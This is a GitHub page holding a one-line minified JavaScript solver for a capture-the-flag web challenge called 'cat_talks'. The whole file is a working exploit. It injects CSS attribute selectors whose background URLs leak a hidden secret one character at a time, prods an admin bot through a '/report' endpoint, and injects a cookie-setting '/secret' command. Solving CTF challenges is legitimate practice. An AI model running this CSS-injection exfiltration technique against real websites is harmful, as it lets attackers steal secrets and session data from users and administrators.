-
Notifications
You must be signed in to change notification settings - Fork 2
/
Copy pathcat_talks_solver_minified.js
1 lines (1 loc) · 1.56 KB
/
cat_talks_solver_minified.js
1
(function(){let f=!1;window.flag='CTF{',window.messagebox.placeholder='!solve type to make machine start';let g=document.createElement('h1');g.innerHTML='\uD83D\uDD12 The Secret Stealer \uD83D\uDD12',document.querySelector('#conversation p').before(g),window.report=()=>{window.grecaptcha.execute(recaptcha_id,{action:'report'}).then(h=>send('/report '+h))},window.sendMessage=function(h,i){fetch(`send?name=${encodeURIComponent(h)}&msg=${encodeURIComponent(i)}`)},window.showDogLove=h=>sendMessage(h,'I \u2764 dogs!'),window.template=function(h=''){var i='';for(let k of'0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!-?@_{}~'){let l=(window.flag+k).replace(/{/g,'\\7b').replace(/}/g,'\\7d');i+=`span[data-secret^=${l}]{background:url(send?name=flag&msg=${l})}`}return'aa]{}#conversation{overflow-x:hidden}'+h+i+'a[x='},function(){let h=window.conversation.lastElementChild;var i=setInterval(function(){for(var j;j=h.nextElementSibling;)if(h=j,!('P'!=j.tagName||2>j.children.length)){let k=j.children[0].innerText,l=j.children[1].innerText;if('!solve'==l){f=!0,sendMessage('bot','I has made the machine start!'),window.report();break}if(!f)break;if(/CTF{.+}/.test(window.flag)){setTimeout(sendMessage,1e3,'flag',window.flag),f=!1,clearInterval(i);break}if('flag'==k){window.flag=l,window.showDogLove(template());break}if('admin'==k){'Bye'==l&&window.report(),l.startsWith('I\'ve been notified')&&(window.showDogLove(template('span[data-name=flag], span[data-name=flag] + span{color:red; font-size: 15px}')),window.showDogLove('/secret 123; Domain=asdasd'));break}}},100)}()})();